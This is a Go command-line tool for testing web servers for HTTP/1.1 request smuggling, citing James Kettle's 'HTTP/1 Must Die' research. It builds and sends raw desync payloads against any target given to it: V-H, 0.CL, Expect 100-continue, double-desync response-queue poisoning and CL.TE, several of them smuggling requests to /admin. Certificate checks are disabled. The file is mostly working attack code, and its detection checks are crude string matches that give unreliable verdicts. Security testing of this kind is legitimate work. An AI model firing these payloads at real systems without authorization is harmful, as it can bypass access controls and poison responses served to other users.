// HTTP/1 Desync Vulnerability Testing Tool // // Based on research by James Kettle (@albinowax) - PortSwigger // Original research: "HTTP/1 Must Die" - https://portswigger.net/research/http1-must-die // // This tool implements the attack patterns and detection methods discovered by // James Kettle during his groundbreaking research into HTTP/1.1 request smuggling // vulnerabilities. The techniques implemented here are for defensive security // testing purposes only. // // Research Credits: // - James Kettle: Original vulnerability research and attack methodology // - PortSwigger: Research publication and tooling support // // For educational and authorized security testing only. package main import ( "bufio" "crypto/tls" "flag" "fmt" "io" "net" "net/url" "strings" "time" "github.com/fatih/color" ) type DesyncTest struct { Target string Timeout time.Duration Verbose bool TestType string Connection net.Conn Reader *bufio.Reader IsTLS bool } func NewDesyncTest(target string, timeout time.Duration, verbose bool, testType string) (*DesyncTest, error) { parsedURL, err := url.Parse(target) if err != nil { return nil, fmt.Errorf("invalid URL: %v", err) } isTLS := parsedURL.Scheme == "https" host := parsedURL.Host if !strings.Contains(host, ":") { if isTLS { host += ":443" } else { host += ":80" } } var conn net.Conn if isTLS { tlsConfig := &tls.Config{ InsecureSkipVerify: true, ServerName: parsedURL.Hostname(), } conn, err = tls.DialWithDialer(&net.Dialer{Timeout: timeout}, "tcp", host, tlsConfig) } else { conn, err = net.DialTimeout("tcp", host, timeout) } if err != nil { return nil, fmt.Errorf("connection failed: %v", err) } return &DesyncTest{ Target: target, Timeout: timeout, Verbose: verbose, TestType: testType, Connection: conn, Reader: bufio.NewReader(conn), IsTLS: isTLS, }, nil } func (dt *DesyncTest) Close() { if dt.Connection != nil { dt.Connection.Close() } } func (dt *DesyncTest) sendRawRequest(request string) error { if dt.Verbose { color.Yellow("[*] Sending request:\n%s", request) } dt.Connection.SetWriteDeadline(time.Now().Add(dt.Timeout)) _, err := dt.Connection.Write([]byte(request)) return err } func (dt *DesyncTest) readResponse() (string, error) { dt.Connection.SetReadDeadline(time.Now().Add(dt.Timeout)) response := strings.Builder{} buffer := make([]byte, 4096) for { n, err := dt.Reader.Read(buffer) if n > 0 { response.Write(buffer[:n]) } if err == io.EOF { break } if err != nil { if netErr, ok := err.(net.Error); ok && netErr.Timeout() { break } if response.Len() > 0 { break } return "", err } if strings.Contains(response.String(), "\r\n\r\n") { contentLength := extractContentLength(response.String()) if contentLength >= 0 { headerEnd := strings.Index(response.String(), "\r\n\r\n") + 4 bodyLength := response.Len() - headerEnd if bodyLength >= contentLength { break } } } } result := response.String() if dt.Verbose && result != "" { color.Green("[*] Response received:\n%s", result) } return result, nil } func extractContentLength(response string) int { lines := strings.Split(response, "\r\n") for _, line := range lines { if strings.HasPrefix(strings.ToLower(line), "content-length:") { parts := strings.Split(line, ":") if len(parts) >= 2 { length := strings.TrimSpace(parts[1]) var cl int fmt.Sscanf(length, "%d", &cl) return cl } } } return -1 } // testVHDesync implements the V-H (Visible-Hidden) desync attack pattern // discovered by James Kettle. This technique exploits parser discrepancies where // the front-end proxy sees one request boundary while the back-end sees another. // // Research source: James Kettle's "HTTP/1 Must Die" - demonstrated against // major CDN providers including Cloudflare and others. func (dt *DesyncTest) testVHDesync() error { parsedURL, _ := url.Parse(dt.Target) host := parsedURL.Host color.Cyan("[+] Testing V-H (Visible-Hidden) Desync Attack") color.Yellow(" Pattern: James Kettle's visible-hidden parser discrepancy") payload := fmt.Sprintf( "GET /style.css HTTP/1.1\r\n"+ "Host: %s\r\n"+ "Foo: bar\r\n"+ "Content-Length: 23\r\n"+ "\r\n"+ "GET /404 HTTP/1.1\r\nX: y", host, ) if err := dt.sendRawRequest(payload); err != nil { return fmt.Errorf("failed to send V-H payload: %v", err) } response1, err := dt.readResponse() if err != nil { return fmt.Errorf("failed to read first response: %v", err) } normalRequest := fmt.Sprintf( "GET / HTTP/1.1\r\n"+ "Host: %s\r\n"+ "Connection: keep-alive\r\n"+ "\r\n", host, ) if err := dt.sendRawRequest(normalRequest); err != nil { return fmt.Errorf("failed to send normal request: %v", err) } response2, err := dt.readResponse() if err != nil { return fmt.Errorf("failed to read second response: %v", err) } if strings.Contains(response2, "404") || strings.Contains(response2, "Not Found") { color.Red("[!] Potential V-H Desync vulnerability detected!") color.Yellow(" The second request received a 404 response, indicating request smuggling") return nil } if response1 != "" && response2 != "" { color.Green("[✓] No V-H desync detected") } return nil } // test0CLDesync implements the 0.CL (Zero Content-Length) desync attack // based on James Kettle's research findings against IIS and T-Mobile infrastructure. // This attack exploits different interpretations of Content-Length: 0 headers. // // Research source: Successfully demonstrated in James Kettle's bug bounty research // earning significant payouts from major infrastructure providers. func (dt *DesyncTest) test0CLDesync() error { parsedURL, _ := url.Parse(dt.Target) host := parsedURL.Host color.Cyan("[+] Testing 0.CL (Zero Content-Length) Desync Attack") color.Yellow(" Pattern: James Kettle's IIS/T-Mobile Content-Length: 0 exploit") payload := fmt.Sprintf( "GET /test HTTP/1.1\r\n"+ "Host: %s\r\n"+ "Content-Length: 0\r\n"+ "Content-Length: 7\r\n"+ "\r\n"+ "GET / HTTP/1.1\r\nHost: %s\r\n\r\n", host, host, ) if err := dt.sendRawRequest(payload); err != nil { return fmt.Errorf("failed to send 0.CL payload: %v", err) } response1, err := dt.readResponse() if err != nil { return fmt.Errorf("failed to read first response: %v", err) } normalRequest := fmt.Sprintf( "GET /index HTTP/1.1\r\n"+ "Host: %s\r\n"+ "Connection: keep-alive\r\n"+ "\r\n", host, ) if err := dt.sendRawRequest(normalRequest); err != nil { return fmt.Errorf("failed to send normal request: %v", err) } response2, err := dt.readResponse() if err != nil { return fmt.Errorf("failed to read second response: %v", err) } if !strings.Contains(response2, "/index") && strings.Contains(response2, "200") { color.Red("[!] Potential 0.CL Desync vulnerability detected!") color.Yellow(" The second request received an unexpected response") return nil } if response1 != "" && response2 != "" { color.Green("[✓] No 0.CL desync detected") } return nil } // testExpectDesync implements Expect: 100-continue desync attacks discovered // by James Kettle in his research against T-Mobile and LastPass systems. // This technique exploits different handling of the continuation mechanism. // // Research source: James Kettle's T-Mobile and LastPass vulnerability research // demonstrating authentication bypass through Expect header manipulation. func (dt *DesyncTest) testExpectDesync() error { parsedURL, _ := url.Parse(dt.Target) host := parsedURL.Host color.Cyan("[+] Testing Expect Header-based Desync Attack") color.Yellow(" Pattern: James Kettle's T-Mobile/LastPass Expect: 100-continue exploit") smuggledPath := "/admin" smuggledRequest := fmt.Sprintf("GET %s HTTP/1.1\r\nHost: %s\r\n\r\n", smuggledPath, host) contentLength := len(smuggledRequest) payload := fmt.Sprintf( "POST /logout HTTP/1.1\r\n"+ "Host: %s\r\n"+ "Expect: 100-continue\r\n"+ "Content-Length: %d\r\n"+ "\r\n"+ "%s", host, contentLength, smuggledRequest, ) if err := dt.sendRawRequest(payload); err != nil { return fmt.Errorf("failed to send Expect payload: %v", err) } response1, err := dt.readResponse() if err != nil && !strings.Contains(err.Error(), "timeout") { return fmt.Errorf("failed to read first response: %v", err) } if strings.Contains(response1, "100 Continue") { color.Yellow("[*] Server supports Expect: 100-continue") } normalRequest := fmt.Sprintf( "GET / HTTP/1.1\r\n"+ "Host: %s\r\n"+ "Connection: keep-alive\r\n"+ "\r\n", host, ) if err := dt.sendRawRequest(normalRequest); err != nil { return fmt.Errorf("failed to send normal request: %v", err) } response2, err := dt.readResponse() if err != nil && !strings.Contains(err.Error(), "timeout") { return fmt.Errorf("failed to read second response: %v", err) } if strings.Contains(response2, smuggledPath) || strings.Contains(response2, "admin") || strings.Contains(response2, "403") || strings.Contains(response2, "401") { color.Red("[!] Potential Expect-based Desync vulnerability detected!") color.Yellow(" The second request shows signs of request smuggling") return nil } color.Green("[✓] No Expect-based desync detected") return nil } // testDoubleDesync implements the sophisticated double-desync attack for // Response Queue Poisoning as discovered by James Kettle. This represents // one of the most advanced techniques in his research. // // Research source: James Kettle's advanced desync methodology enabling // complete site takeover by poisoning response queues. func (dt *DesyncTest) testDoubleDesync() error { parsedURL, _ := url.Parse(dt.Target) host := parsedURL.Host color.Cyan("[+] Testing Double-Desync Attack (Response Queue Poisoning)") color.Yellow(" Pattern: James Kettle's advanced response queue poisoning technique") payload1 := fmt.Sprintf( "POST /test HTTP/1.1\r\n"+ "Host: %s\r\n"+ "Content-Length: 92\r\n"+ "\r\n"+ "GET /poison HTTP/1.1\r\n"+ "Host: %s\r\n"+ "Content-Length: 180\r\n"+ "Foo: GET /victim HTTP/1.1\r\n"+ "\r\n", host, host, ) if err := dt.sendRawRequest(payload1); err != nil { return fmt.Errorf("failed to send first desync payload: %v", err) } response1, _ := dt.readResponse() time.Sleep(100 * time.Millisecond) payload2 := fmt.Sprintf( "GET /test2 HTTP/1.1\r\n"+ "Host: %s\r\n"+ "Connection: keep-alive\r\n"+ "\r\n", host, ) if err := dt.sendRawRequest(payload2); err != nil { return fmt.Errorf("failed to send second payload: %v", err) } response2, _ := dt.readResponse() normalRequest := fmt.Sprintf( "GET /normal HTTP/1.1\r\n"+ "Host: %s\r\n"+ "Connection: close\r\n"+ "\r\n", host, ) if err := dt.sendRawRequest(normalRequest); err != nil { return fmt.Errorf("failed to send normal request: %v", err) } response3, _ := dt.readResponse() if (response2 != "" && strings.Contains(response2, "poison")) || (response3 != "" && !strings.Contains(response3, "/normal")) { color.Red("[!] Potential Double-Desync vulnerability detected!") color.Yellow(" Response queue appears to be poisoned") return nil } if response1 != "" || response2 != "" || response3 != "" { color.Green("[✓] No Double-Desync detected") } return nil } // testCLTEDesync implements the fundamental CL.TE (Content-Length vs Transfer-Encoding) // conflict attack that forms the core of James Kettle's HTTP/1.1 research. // This represents the fundamental flaw in HTTP/1.1 specification. // // Research source: Core finding of James Kettle's "HTTP/1 Must Die" research // demonstrating the fundamental ambiguity in HTTP/1.1 request boundaries. func (dt *DesyncTest) testCLTEDesync() error { parsedURL, _ := url.Parse(dt.Target) host := parsedURL.Host color.Cyan("[+] Testing CL.TE (Content-Length vs Transfer-Encoding) Desync Attack") color.Yellow(" Pattern: James Kettle's foundational HTTP/1.1 specification flaw") payload := fmt.Sprintf( "POST / HTTP/1.1\r\n"+ "Host: %s\r\n"+ "Content-Length: 13\r\n"+ "Transfer-Encoding: chunked\r\n"+ "\r\n"+ "0\r\n"+ "\r\n"+ "GET /admin HTTP/1.1\r\n"+ "Host: %s\r\n"+ "\r\n", host, host, ) if err := dt.sendRawRequest(payload); err != nil { return fmt.Errorf("failed to send CL.TE payload: %v", err) } response1, err := dt.readResponse() if err != nil && !strings.Contains(err.Error(), "timeout") { return fmt.Errorf("failed to read first response: %v", err) } normalRequest := fmt.Sprintf( "GET / HTTP/1.1\r\n"+ "Host: %s\r\n"+ "Connection: keep-alive\r\n"+ "\r\n", host, ) if err := dt.sendRawRequest(normalRequest); err != nil { return fmt.Errorf("failed to send normal request: %v", err) } response2, err := dt.readResponse() if err != nil && !strings.Contains(err.Error(), "timeout") { return fmt.Errorf("failed to read second response: %v", err) } if strings.Contains(response2, "admin") || strings.Contains(response2, "403") || strings.Contains(response2, "401") || strings.Contains(response2, "400") { color.Red("[!] Potential CL.TE Desync vulnerability detected!") color.Yellow(" The second request shows signs of request smuggling") return nil } if response1 != "" && response2 != "" { color.Green("[✓] No CL.TE desync detected") } return nil } func main() { var ( target = flag.String("target", "", "Target URL (e.g., https://example.com)") timeout = flag.Duration("timeout", 5*time.Second, "Request timeout") verbose = flag.Bool("verbose", false, "Enable verbose output") testType = flag.String("test", "all", "Test type: all, vh, 0cl, expect, double, clte") ) flag.Parse() if *target == "" { color.Red("Error: Target URL is required") flag.Usage() return } if !strings.HasPrefix(*target, "http://") && !strings.HasPrefix(*target, "https://") { *target = "https://" + *target } color.Yellow("╔══════════════════════════════════════════════════════╗") color.Yellow("║ HTTP/1 Desync Vulnerability Tester ║") color.Yellow("║ Based on James Kettle's Research (@albinowax) ║") color.Yellow("║ For Defensive Security Testing Only ║") color.Yellow("╚══════════════════════════════════════════════════════╝") fmt.Println() color.Cyan("[*] Target: %s", *target) color.Cyan("[*] Test Type: %s", *testType) fmt.Println() tests := map[string]func(*DesyncTest) error{ "vh": (*DesyncTest).testVHDesync, "0cl": (*DesyncTest).test0CLDesync, "expect": (*DesyncTest).testExpectDesync, "double": (*DesyncTest).testDoubleDesync, "clte": (*DesyncTest).testCLTEDesync, } if *testType == "all" { for testName, testFunc := range tests { dt, err := NewDesyncTest(*target, *timeout, *verbose, testName) if err != nil { color.Red("[!] Failed to initialize test: %v", err) continue } if err := testFunc(dt); err != nil { color.Red("[!] Test failed: %v", err) } dt.Close() fmt.Println() time.Sleep(500 * time.Millisecond) } } else { testFunc, exists := tests[*testType] if !exists { color.Red("[!] Unknown test type: %s", *testType) return } dt, err := NewDesyncTest(*target, *timeout, *verbose, *testType) if err != nil { color.Red("[!] Failed to initialize: %v", err) return } defer dt.Close() if err := testFunc(dt); err != nil { color.Red("[!] Test failed: %v", err) } } fmt.Println() color.Yellow("[*] Testing complete") }